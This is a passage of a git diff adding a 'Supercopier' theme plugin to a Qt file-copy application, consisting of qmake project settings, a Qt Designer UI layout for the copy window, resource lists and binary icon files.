+ StructEnumDefinition.h \
+ factory.h \
+ DebugEngineMacro.h \
+ Environment.h \
+ Variable.h \
+ ../../../interface/PluginInterface_Themes.h \
+ ../../../interface/FacilityInterface.h \
+ ../../../interface/OptionInterface.h \
+ TransferModel.h
+SOURCES = interface.cpp \
+ factory.cpp \
+ TransferModel.cpp
+TARGET = $$qtLibraryTarget(interface)
+TRANSLATIONS += Languages/ar/translation.ts \
+ Languages/de/translation.ts \
+ Languages/el/translation.ts \
+ Languages/en/translation.ts \
+ Languages/es/translation.ts \
+ Languages/fr/translation.ts \
+ Languages/hi/translation.ts \
+ Languages/hu/translation.ts \
+ Languages/id/translation.ts \
+ Languages/it/translation.ts \
+ Languages/ja/translation.ts \
+ Languages/ko/translation.ts \
+ Languages/nl/translation.ts \
+ Languages/no/translation.ts \
+ Languages/pl/translation.ts \
+ Languages/pt/translation.ts \
+ Languages/ru/translation.ts \
+ Languages/th/translation.ts \
+ Languages/tr/translation.ts \
+ Languages/zh/translation.ts
+
+win32 {
+ RESOURCES +=
+}
+!win32 {
+ RESOURCES +=
+}
+
+!CONFIG(static) {
+RESOURCES += \
+ interfaceResources.qrc \
+ interfaceResources_unix.qrc \
+ interfaceResources_windows.qrc
+}
+
+FORMS += \
+ interface.ui \
+ themesOptions.ui
diff --git a/plugins-alternative/Themes/Supercopier/interface.ui b/plugins-alternative/Themes/Supercopier/interface.ui
new file mode 100644
index 0000000..e5b84a5
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/interface.ui
@@ -0,0 +1,845 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <class>interfaceCopy</class>
+ <widget class="QWidget" name="interfaceCopy">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>508</width>
+ <height>448</height>
+ </rect>
+ </property>
+ <property name="windowTitle">
+ <string notr="true">Supercopier</string>
+ </property>
+ <property name="windowIcon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/main.png</normaloff>:/Themes/Supercopier/resources/main.png</iconset>
+ </property>
+ <layout class="QVBoxLayout">
+ <property name="spacing">
+ <number>2</number>
+ </property>
+ <property name="margin">
+ <number>1</number>
+ </property>
+ <item>
+ <layout class="QHBoxLayout">
+ <property name="spacing">
+ <number>2</number>
+ </property>
+ <item>
+ <widget class="QLabel" name="from_label">
+ <property name="text">
+ <string>From:</string>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QLabel" name="from">
+ <property name="sizePolicy">
+ <sizepolicy hsizetype="Expanding" vsizetype="Preferred">
+ <horstretch>0</horstretch>
+ <verstretch>0</verstretch>
+ </sizepolicy>
+ </property>
+ <property name="text">
+ <string/>
+ </property>
+ <property name="textFormat">
+ <enum>Qt::PlainText</enum>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QLabel" name="ad_ultimate">
+ <property name="openExternalLinks">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </item>
+ <item>
+ <layout class="QHBoxLayout">
+ <property name="spacing">
+ <number>5</number>
+ </property>
+ <item>
+ <widget class="QLabel" name="to_label">
+ <property name="text">
+ <string>To:</string>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QLabel" name="to">
+ <property name="sizePolicy">
+ <sizepolicy hsizetype="Expanding" vsizetype="Preferred">
+ <horstretch>0</horstretch>
+ <verstretch>0</verstretch>
+ </sizepolicy>
+ </property>
+ <property name="text">
+ <string/>
+ </property>
+ <property name="textFormat">
+ <enum>Qt::PlainText</enum>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </item>
+ <item>
+ <layout class="QHBoxLayout" name="horizontalLayout_4">
+ <item>
+ <widget class="QLabel" name="overall">
+ <property name="text">
+ <string notr="true">File 0/0, Total: 0KB</string>
+ </property>
+ <property name="textFormat">
+ <enum>Qt::PlainText</enum>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QLabel" name="labelTimeRemaining">
+ <property name="textFormat">
+ <enum>Qt::RichText</enum>
+ </property>
+ <property name="alignment">
+ <set>Qt::AlignRight|Qt::AlignTrailing|Qt::AlignVCenter</set>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QToolButton" name="shutdown">
+ <property name="maximumSize">
+ <size>
+ <width>20</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="toolTip">
+ <string>Close at the end of the transfers</string>
+ </property>
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/SystemTrayIcon/exit.png</normaloff>:/Themes/Supercopier/resources/SystemTrayIcon/exit.png</iconset>
+ </property>
+ <property name="checkable">
+ <bool>true</bool>
+ </property>
+ <property name="autoRaise">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </item>
+ <item>
+ <widget class="QProgressBar" name="progressBar_all">
+ <property name="maximumSize">
+ <size>
+ <width>16777215</width>
+ <height>16</height>
+ </size>
+ </property>
+ <property name="maximum">
+ <number>65535</number>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QLabel" name="current_file">
+ <property name="text">
+ <string notr="true">File Name, 0KB</string>
+ </property>
+ <property name="textFormat">
+ <enum>Qt::PlainText</enum>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QProgressBar" name="progressBar_file">
+ <property name="maximumSize">
+ <size>
+ <width>16777215</width>
+ <height>16</height>
+ </size>
+ </property>
+ <property name="maximum">
+ <number>65535</number>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <layout class="QHBoxLayout">
+ <property name="spacing">
+ <number>4</number>
+ </property>
+ <item>
+ <widget class="QLabel" name="currentSpeed">
+ <property name="sizePolicy">
+ <sizepolicy hsizetype="Expanding" vsizetype="Preferred">
+ <horstretch>0</horstretch>
+ <verstretch>0</verstretch>
+ </sizepolicy>
+ </property>
+ <property name="minimumSize">
+ <size>
+ <width>60</width>
+ <height>0</height>
+ </size>
+ </property>
+ <property name="text">
+ <string notr="true">0KB/sec</string>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QProgressBar" name="progressBarCurrentSpeed">
+ <property name="maximumSize">
+ <size>
+ <width>16777215</width>
+ <height>16</height>
+ </size>
+ </property>
+ <property name="maximum">
+ <number>1</number>
+ </property>
+ <property name="value">
+ <number>0</number>
+ </property>
+ <property name="format">
+ <string notr="true">0KB/sec</string>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QPushButton" name="moreButton">
+ <property name="text">
+ <string>&amp;More</string>
+ </property>
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/moveDown.png</normaloff>:/Themes/Supercopier/resources/moveDown.png</iconset>
+ </property>
+ <property name="checkable">
+ <bool>true</bool>
+ </property>
+ <property name="checked">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QPushButton" name="pauseButton">
+ <property name="enabled">
+ <bool>false</bool>
+ </property>
+ <property name="text">
+ <string>&amp;Pause</string>
+ </property>
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/player_pause.png</normaloff>:/Themes/Supercopier/resources/player_pause.png</iconset>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QPushButton" name="skipButton">
+ <property name="enabled">
+ <bool>false</bool>
+ </property>
+ <property name="text">
+ <string>&amp;Skip</string>
+ </property>
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/player_end.png</normaloff>:/Themes/Supercopier/resources/player_end.png</iconset>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QPushButton" name="cancelButton">
+ <property name="text">
+ <string>&amp;Cancel</string>
+ </property>
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/cancel.png</normaloff>:/Themes/Supercopier/resources/cancel.png</iconset>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </item>
+ <item>
+ <layout class="QHBoxLayout" name="limitSpeedAsMain">
+ <item>
+ <widget class="QLabel" name="label_Slider_speed">
+ <property name="text">
+ <string>Limit copy speed to:</string>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QSlider" name="SliderSpeed">
+ <property name="maximum">
+ <number>5</number>
+ </property>
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QLabel" name="label_SpeedMaxValue">
+ <property name="text">
+ <string notr="true">Unlimited</string>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <spacer>
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>40</width>
+ <height>1</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ </layout>
+ </item>
+ <item>
+ <widget class="QTabWidget" name="tabWidget">
+ <property name="currentIndex">
+ <number>0</number>
+ </property>
+ <widget class="QWidget" name="tab_main">
+ <attribute name="title">
+ <string>Transfer list</string>
+ </attribute>
+ <layout class="QHBoxLayout">
+ <item>
+ <layout class="QVBoxLayout">
+ <property name="spacing">
+ <number>1</number>
+ </property>
+ <item>
+ <widget class="QToolButton" name="putOnTop">
+ <property name="minimumSize">
+ <size>
+ <width>22</width>
+ <height>22</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>22</width>
+ <height>22</height>
+ </size>
+ </property>
+ <property name="toolTip">
+ <string>Move the selected items to the top</string>
+ </property>
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/putOnTop.png</normaloff>:/Themes/Supercopier/resources/putOnTop.png</iconset>
+ </property>
+ <property name="autoRaise">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QToolButton" name="pushUp">
+ <property name="minimumSize">
+ <size>
+ <width>22</width>
+ <height>22</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>22</width>
+ <height>22</height>
+ </size>
+ </property>
+ <property name="toolTip">
+ <string>Move up the selected items</string>
+ </property>
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/moveUp.png</normaloff>:/Themes/Supercopier/resources/moveUp.png</iconset>
+ </property>
+ <property name="autoRaise">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QToolButton" name="pushDown">
+ <property name="minimumSize">
+ <size>
+ <width>22</width>
+ <height>22</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>22</width>
+ <height>22</height>
+ </size>
+ </property>
+ <property name="toolTip">
+ <string>Move down the selected items</string>
+ </property>
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/moveDown.png</normaloff>:/Themes/Supercopier/resources/moveDown.png</iconset>
+ </property>
+ <property name="autoRaise">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QToolButton" name="putOnBottom">
+ <property name="minimumSize">
+ <size>
+ <width>22</width>
+ <height>22</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>22</width>
+ <height>22</height>
+ </size>
+ </property>
+ <property name="toolTip">
+ <string>Move the selected items to the bottom</string>
+ </property>
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/putOnBottom.png</normaloff>:/Themes/Supercopier/resources/putOnBottom.png</iconset>
+ </property>
+ <property name="autoRaise">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QToolButton" name="add">
+ <property name="minimumSize">
+ <size>
+ <width>22</width>
+ <height>22</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>22</width>
+ <height>22</height>
+ </size>
+ </property>
+ <property name="toolTip">
+ <string>Add file/folder</string>
+ </property>
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/add.png</normaloff>:/Themes/Supercopier/resources/add.png</iconset>
+ </property>
+ <property name="popupMode">
+ <enum>QToolButton::InstantPopup</enum>
+ </property>
+ <property name="autoRaise">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QToolButton" name="del">
+ <property name="minimumSize">
+ <size>
+ <width>22</width>
+ <height>22</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>22</width>
+ <height>22</height>
+ </size>
+ </property>
+ <property name="toolTip">
+ <string>Delete the selected items</string>
+ </property>
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/remove.png</normaloff>:/Themes/Supercopier/resources/remove.png</iconset>
+ </property>
+ <property name="autoRaise">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QToolButton" name="searchButton">
+ <property name="minimumSize">
+ <size>
+ <width>22</width>
+ <height>22</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>22</width>
+ <height>22</height>
+ </size>
+ </property>
+ <property name="toolTip">
+ <string>Search</string>
+ </property>
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/search.png</normaloff>:/Themes/Supercopier/resources/search.png</iconset>
+ </property>
+ <property name="checkable">
+ <bool>true</bool>
+ </property>
+ <property name="autoRaise">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QToolButton" name="exportTransferList">
+ <property name="minimumSize">
+ <size>
+ <width>22</width>
+ <height>22</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>22</width>
+ <height>22</height>
+ </size>
+ </property>
+ <property name="toolTip">
+ <string>Export the transfer list</string>
+ </property>
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/export-transfer-list.png</normaloff>:/Themes/Supercopier/resources/export-transfer-list.png</iconset>
+ </property>
+ <property name="autoRaise">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QToolButton" name="importTransferList">
+ <property name="minimumSize">
+ <size>
+ <width>22</width>
+ <height>22</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>22</width>
+ <height>22</height>
+ </size>
+ </property>
+ <property name="toolTip">
+ <string>Import the transfer list</string>
+ </property>
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/import-transfer-list.png</normaloff>:/Themes/Supercopier/resources/import-transfer-list.png</iconset>
+ </property>
+ <property name="autoRaise">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <spacer>
+ <property name="orientation">
+ <enum>Qt::Vertical</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>20</width>
+ <height>40</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ </layout>
+ </item>
+ <item>
+ <layout class="QVBoxLayout" name="verticalLayout_3">
+ <property name="spacing">
+ <number>0</number>
+ </property>
+ <item>
+ <widget class="QTreeView" name="TransferList">
+ <property name="selectionMode">
+ <enum>QAbstractItemView::ExtendedSelection</enum>
+ </property>
+ <property name="rootIsDecorated">
+ <bool>false</bool>
+ </property>
+ <property name="uniformRowHeights">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <layout class="QHBoxLayout" name="horizontalLayoutSearch">
+ <property name="spacing">
+ <number>0</number>
+ </property>
+ <item>
+ <widget class="QLineEdit" name="lineEditSearch"/>
+ </item>
+ <item>
+ <widget class="QPushButton" name="pushButtonSearchPrev">
+ <property name="text">
+ <string>Previous</string>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QPushButton" name="pushButtonSearchNext">
+ <property name="text">
+ <string>Next</string>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QPushButton" name="pushButtonCloseSearch">
+ <property name="minimumSize">
+ <size>
+ <width>25</width>
+ <height>25</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>25</width>
+ <height>25</height>
+ </size>
+ </property>
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/remove.png</normaloff>:/Themes/Supercopier/resources/remove.png</iconset>
+ </property>
+ <property name="flat">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </item>
+ </layout>
+ </item>
+ </layout>
+ </widget>
+ <widget class="QWidget" name="tab_error">
+ <attribute name="title">
+ <string>Error</string>
+ </attribute>
+ <layout class="QHBoxLayout" name="horizontalLayout">
+ <item>
+ <layout class="QVBoxLayout" name="verticalLayout">
+ <item>
+ <widget class="QToolButton" name="exportErrorToTransferList">
+ <property name="minimumSize">
+ <size>
+ <width>22</width>
+ <height>22</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>22</width>
+ <height>22</height>
+ </size>
+ </property>
+ <property name="toolTip">
+ <string>Export the errors into transfer list</string>
+ </property>
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/export-transfer-list.png</normaloff>:/Themes/Supercopier/resources/export-transfer-list.png</iconset>
+ </property>
+ <property name="autoRaise">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <spacer name="verticalSpacer">
+ <property name="orientation">
+ <enum>Qt::Vertical</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>20</width>
+ <height>40</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ </layout>
+ </item>
+ <item>
+ <widget class="QTreeWidget" name="errorList">
+ <property name="selectionMode">
+ <enum>QAbstractItemView::NoSelection</enum>
+ </property>
+ <property name="rootIsDecorated">
+ <bool>false</bool>
+ </property>
+ <property name="uniformRowHeights">
+ <bool>true</bool>
+ </property>
+ <column>
+ <property name="text">
+ <string>Source</string>
+ </property>
+ </column>
+ <column>
+ <property name="text">
+ <string>Destination</string>
+ </property>
+ </column>
+ <column>
+ <property name="text">
+ <string>Error</string>
+ </property>
+ </column>
+ </widget>
+ </item>
+ </layout>
+ </widget>
+ <widget class="QWidget" name="tab_interface">
+ <attribute name="title">
+ <string>Interface</string>
+ </attribute>
+ <layout class="QHBoxLayout" name="horizontalLayout_2">
+ <property name="spacing">
+ <number>0</number>
+ </property>
+ <property name="margin">
+ <number>0</number>
+ </property>
+ <item>
+ <widget class="QScrollArea" name="optionsTab">
+ <property name="widgetResizable">
+ <bool>true</bool>
+ </property>
+ <widget class="QWidget" name="scrollAreaWidgetContents">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>492</width>
+ <height>243</height>
+ </rect>
+ </property>
+ </widget>
+ </widget>
+ </item>
+ </layout>
+ </widget>
+ </widget>
+ </item>
+ </layout>
+ <action name="actionAddFile">
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/add.png</normaloff>:/Themes/Supercopier/resources/add.png</iconset>
+ </property>
+ <property name="text">
+ <string>Add file</string>
+ </property>
+ </action>
+ <action name="actionAddFolder">
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/add.png</normaloff>:/Themes/Supercopier/resources/add.png</iconset>
+ </property>
+ <property name="text">
+ <string>Add folder</string>
+ </property>
+ </action>
+ <action name="actionAddFileToMove">
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/add.png</normaloff>:/Themes/Supercopier/resources/add.png</iconset>
+ </property>
+ <property name="text">
+ <string>Move file(s)</string>
+ </property>
+ </action>
+ <action name="actionAddFolderToMove">
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/add.png</normaloff>:/Themes/Supercopier/resources/add.png</iconset>
+ </property>
+ <property name="text">
+ <string>Move folder</string>
+ </property>
+ </action>
+ <action name="actionAddFileToCopy">
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/add.png</normaloff>:/Themes/Supercopier/resources/add.png</iconset>
+ </property>
+ <property name="text">
+ <string>Copy file(s)</string>
+ </property>
+ </action>
+ <action name="actionAddFolderToCopy">
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Supercopier/resources/add.png</normaloff>:/Themes/Supercopier/resources/add.png</iconset>
+ </property>
+ <property name="text">
+ <string>Copy folder</string>
+ </property>
+ </action>
+ </widget>
+ <resources>
+ <include location="interfaceResources.qrc"/>
+ </resources>
+ <connections>
+ <connection>
+ <sender>moreButton</sender>
+ <signal>toggled(bool)</signal>
+ <receiver>tabWidget</receiver>
+ <slot>setVisible(bool)</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>218</x>
+ <y>144</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>149</x>
+ <y>305</y>
+ </hint>
+ </hints>
+ </connection>
+ </connections>
+</ui>
diff --git a/plugins-alternative/Themes/Supercopier/interfaceResources.qrc b/plugins-alternative/Themes/Supercopier/interfaceResources.qrc
new file mode 100644
index 0000000..d8990aa
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/interfaceResources.qrc
@@ -0,0 +1,24 @@
+<RCC>
+ <qresource prefix="/Themes/Supercopier">
+ <file>resources/add.png</file>
+ <file>resources/cancel.png</file>
+ <file>resources/main.png</file>
+ <file>resources/moveDown.png</file>
+ <file>resources/moveUp.png</file>
+ <file>resources/player_end.png</file>
+ <file>resources/player_pause.png</file>
+ <file>resources/player_play.png</file>
+ <file>resources/putOnBottom.png</file>
+ <file>resources/putOnTop.png</file>
+ <file>resources/remove.png</file>
+ <file>resources/search.png</file>
+ <file>resources/export-transfer-list.png</file>
+ <file>resources/import-transfer-list.png</file>
+ <file>resources/SystemTrayIcon/add.png</file>
+ <file>resources/SystemTrayIcon/exit.png</file>
+ <file>resources/SystemTrayIcon/informations.png</file>
+ <file>resources/SystemTrayIcon/options.png</file>
+ <file>resources/progressbarleft.png</file>
+ <file>resources/progressbarright.png</file>
+ </qresource>
+</RCC>
diff --git a/plugins-alternative/Themes/Supercopier/interfaceResources_unix.qrc b/plugins-alternative/Themes/Supercopier/interfaceResources_unix.qrc
new file mode 100644
index 0000000..52bc325
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/interfaceResources_unix.qrc
@@ -0,0 +1,9 @@
+<RCC>
+ <qresource prefix="/Themes/Supercopier">
+ <file>resources/SystemTrayIcon/systray_Caught_Unix.png</file>
+ <file>resources/SystemTrayIcon/systray_Semiuncaught_Unix.png</file>
+ <file>resources/SystemTrayIcon/systray_Uncaught_Unix.png</file>
+ <file>resources/SystemTrayIcon/systray_Top_Progress_Unix.png</file>
+ <file>resources/SystemTrayIcon/systray_Bottom_Progress_Unix.png</file>
+ </qresource>
+</RCC>
diff --git a/plugins-alternative/Themes/Supercopier/interfaceResources_windows.qrc b/plugins-alternative/Themes/Supercopier/interfaceResources_windows.qrc
new file mode 100644
index 0000000..aed7063
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/interfaceResources_windows.qrc
@@ -0,0 +1,9 @@
+<RCC>
+ <qresource prefix="/Themes/Supercopier">
+ <file>resources/SystemTrayIcon/systray_Caught_Windows.png</file>
+ <file>resources/SystemTrayIcon/systray_Semiuncaught_Windows.png</file>
+ <file>resources/SystemTrayIcon/systray_Uncaught_Windows.png</file>
+ <file>resources/SystemTrayIcon/systray_Top_Progress_Windows.png</file>
+ <file>resources/SystemTrayIcon/systray_Bottom_Progress_Windows.png</file>
+ </qresource>
+</RCC>
diff --git a/plugins-alternative/Themes/Supercopier/plugin.json b/plugins-alternative/Themes/Supercopier/plugin.json
new file mode 100644
index 0000000..9e26dfe
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/plugin.json
@@ -0,0 +1 @@
+{} \ No newline at end of file
diff --git a/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/add.png b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/add.png
new file mode 100644
index 0000000..d41fce6
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/add.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/exit.png b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/exit.png
new file mode 100644
index 0000000..9599bba
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/exit.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/informations.png b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/informations.png
new file mode 100644
index 0000000..86c9ba6
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/informations.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/options.png b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/options.png
new file mode 100644
index 0000000..cf699d5
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/options.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Bottom_Progress_Unix.png b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Bottom_Progress_Unix.png
new file mode 100644
index 0000000..543aaf1
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Bottom_Progress_Unix.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Bottom_Progress_Windows.png b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Bottom_Progress_Windows.png
new file mode 100644
index 0000000..ff110d9
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Bottom_Progress_Windows.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Caught_Unix.png b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Caught_Unix.png
new file mode 100644
index 0000000..be2ba20
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Caught_Unix.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Caught_Windows.png b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Caught_Windows.png
new file mode 100644
index 0000000..9c597af
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Caught_Windows.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Semiuncaught_Unix.png b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Semiuncaught_Unix.png
new file mode 100644
index 0000000..be2ba20
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Semiuncaught_Unix.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Semiuncaught_Windows.png b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Semiuncaught_Windows.png
new file mode 100644
index 0000000..9c597af
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Semiuncaught_Windows.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Top_Progress_Unix.png b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Top_Progress_Unix.png
new file mode 100644
index 0000000..1d93cb1
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Top_Progress_Unix.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Top_Progress_Windows.png b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Top_Progress_Windows.png
new file mode 100644
index 0000000..2074ee8
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Top_Progress_Windows.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Uncaught_Unix.png b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Uncaught_Unix.png
new file mode 100644
index 0000000..4da8cc0
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Uncaught_Unix.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Uncaught_Windows.png b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Uncaught_Windows.png
new file mode 100644
index 0000000..8bfbcf9
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/SystemTrayIcon/systray_Uncaught_Windows.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/add.png b/plugins-alternative/Themes/Supercopier/resources/add.png
new file mode 100644
index 0000000..af8a401
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/add.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/cancel.png b/plugins-alternative/Themes/Supercopier/resources/cancel.png
new file mode 100644
index 0000000..1e7579c
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/cancel.png
Binary files differ
